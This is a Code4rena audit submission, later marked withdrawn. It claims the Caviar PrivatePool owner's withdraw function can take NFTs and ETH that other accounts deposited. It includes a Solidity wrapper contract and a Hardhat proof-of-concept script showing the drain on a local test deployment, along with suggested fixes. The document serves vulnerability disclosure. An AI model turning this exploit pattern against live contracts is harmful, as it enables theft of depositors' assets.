PrivatePool Withdraw function withdraws all assets to owner regardless of actual ownership

[code423n4]

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L514

Vulnerability details

Impact

In the code provided, I initiate a private pool contract using a PoolOwner wrapper contract. I mint three nfts, 2 to the privatePool via the PoolOwnerContract, 1 to an EOA. Deposit the 1 nft from the EOA into the privatePool using EthRouter. call the wrapper contracts withdraw function which withdraws all eth and all 3 nfts back to the wrapper contract. The console logs will show that the PoolOwnerContract is now the owner of all three nfts.

Proof of Concept

PoolOwner.sol

pragma solidity ^0.8.19;
import "solmate/tokens/ERC721.sol";
import './Factory.sol';
import './PrivatePool.sol';
contract PoolOwner is ERC721TokenReceiver {
    address public owner;
    address payable public factory;
    address payable public pool;
    constructor(address _factory) {
        owner = msg.sender;
        factory = payable(_factory);
    }
    function create(
        address _baseToken,
        address _nft,
        uint128 _virtualBaseTokenReserves,
        uint128 _virtualNftReserves,
        uint56 _changeFee,
        uint16 _feeRate,
        bytes32 _merkleRoot,
        bool _useStolenNftOracle,
        bool _payRoyalties,
        bytes32 _salt,
        uint256[] memory tokenIds, // put in memory to avoid stack too deep error
        uint256 baseTokenAmount
    ) external payable {
        pool = payable(Factory(factory).predictPoolDeploymentAddress(_salt));
        ERC721(_nft).setApprovalForAll(factory, true);
        Factory(factory).create{value: msg.value}(_baseToken, _nft, _virtualBaseTokenReserves, _virtualNftReserves, _changeFee, _feeRate, _merkleRoot, _useStolenNftOracle, _payRoyalties, _salt, tokenIds, baseTokenAmount) ;

    }
    function withdraw(address _nft, uint256[] calldata tokenIds, address token, uint256 tokenAmount) external payable {
        PrivatePool(pool).withdraw(_nft, tokenIds, token, tokenAmount);

    }
    receive() external payable {}
}

OwnerTakesAll.ts

import { parseUnits } from "ethers/lib/utils";
import { ethers } from "hardhat";
import { EthRouter, PrivatePool } from "../typechain-types";

async function OwnerTakesAll() {
  const provider = ethers.getDefaultProvider();
  const [poolOwner, otherAccount, caviar] = await ethers.getSigners();
  const PoolOwnerContractFactory = await ethers.getContractFactory("PoolOwner");
  const FactoryFactory = await ethers.getContractFactory("Factory", caviar);
  const EthRouterFactory = await ethers.getContractFactory("EthRouter", caviar);
  const PrivatePoolMetaDataFactory = await ethers.getContractFactory(
    "PrivatePoolMetadata",
    caviar
  );
  const PrivatePoolFactory = await ethers.getContractFactory(
    "PrivatePool",
    caviar
  );
  const StolenNFTOracleFactory = await ethers.getContractFactory(
    "StolenNftFilterOracle",
    caviar
  );
  const factoryContract = await FactoryFactory.deploy();
  const poolOwnerContract = await PoolOwnerContractFactory.connect(
    poolOwner
  ).deploy(factoryContract.address);
  const RoyalRegistryFactory = await ethers.getContractFactory(
    "RoyaltyRegistry",
    caviar
  );
  const ppMetaDataContract = await PrivatePoolMetaDataFactory.deploy();
  const stolenNftOracle = await StolenNFTOracleFactory.deploy();
  const royalRegistry = await RoyalRegistryFactory.deploy(
    ethers.constants.AddressZero
  );
  const privatePoolImplementationContract = await PrivatePoolFactory.deploy(
    factoryContract.address,
    royalRegistry.address,
    stolenNftOracle.address
  );
  const ethRouterContract = await EthRouterFactory.deploy(
    royalRegistry.address
  );
  const MiladyFactory = await ethers.getContractFactory("Milady");
  const miladyContract = await MiladyFactory.deploy();
  await factoryContract.setPrivatePoolImplementation(
    privatePoolImplementationContract.address
  );
  //mint miladys to owner
  await miladyContract.mint(poolOwnerContract.address, 0);
  await miladyContract.mint(poolOwnerContract.address, 1);
  await miladyContract.mint(otherAccount.address, 2);
  //approve factory
  console.log(await miladyContract.ownerOf(0), "owner 1 before deposit");
  console.log(await miladyContract.ownerOf(1), "owner 2 before deposit");
  console.log(await miladyContract.ownerOf(2), "owner 3 before deposit");
  //deploy private pool
  const root = "0x" + "0".repeat(64);
  //approve factory
  const privatePoolAddress = await factoryContract.predictPoolDeploymentAddress(
    "0x" + "1".repeat(64)
  );
  await miladyContract
    .connect(poolOwner)
    .setApprovalForAll(factoryContract.address, true);
  await poolOwnerContract
    .connect(poolOwner)
    .create(
      ethers.constants.AddressZero,
      miladyContract.address,
      parseUnits("2"),
      parseUnits("4"),
      25,
      200,
      root,
      false,
      false,
      "0x" + "1".repeat(64),
      [0, 1],
      parseUnits("1"),
      { value: parseUnits("1"), gasLimit: 3000000 }
    );
  console.log(privatePoolAddress);
  const privatePoolContract = new ethers.Contract(
    privatePoolAddress,
    privatePoolImplementationContract.interface
  );

  //deposit milady's and eth to pools.

  const deadline = Date.now() + 10000;

  await miladyContract
    .connect(otherAccount)
    .setApprovalForAll(ethRouterContract.address, true);
  await ethRouterContract
    .connect(otherAccount)
    .deposit(
      privatePoolContract.address,
      miladyContract.address,
      [2],
      0,
      parseUnits("10"),
      deadline,
      { value: parseUnits("2") }
    );

  console.log(await miladyContract.ownerOf(0), "owner 1 after deposit");
  console.log(await miladyContract.ownerOf(1), "owner 2 after deposit");
  console.log(await miladyContract.ownerOf(2), "owner 3 after deposit");
  console.log(
    await provider.getBalance(privatePoolContract.address),
    "privatepool balance before"
  );

  const txn = await poolOwnerContract
    .connect(poolOwner)
    .withdraw(
      miladyContract.address,
      [0, 1, 2],
      ethers.constants.AddressZero,
      await provider.getBalance(privatePoolContract.address)
    );
  console.log(txn);

  console.log(
    await provider.getBalance(privatePoolContract.address),
    "privatepool balance after"
  );
  console.log(await miladyContract.ownerOf(0), "owner 1 after withdraw");
  console.log(await miladyContract.ownerOf(1), "owner 2 after withdraw");
  console.log(await miladyContract.ownerOf(2), "owner 3 after withdraw");
}
OwnerTakesAll();

Tools Used

vscode, hardhat

Recommended Mitigation Steps

mitigation depends on intent. If anyone should be allowed to deposit into a private pool, then the withdraw function needs to lose the onlyOwner modifier, and be rewritten to only withdraw nfts and eth owned by an account. if only the owner should be allowed to deposit, then add the onlyOwner modifier to the deposit function.

[code423n4]

Withdrawn by Jigsaw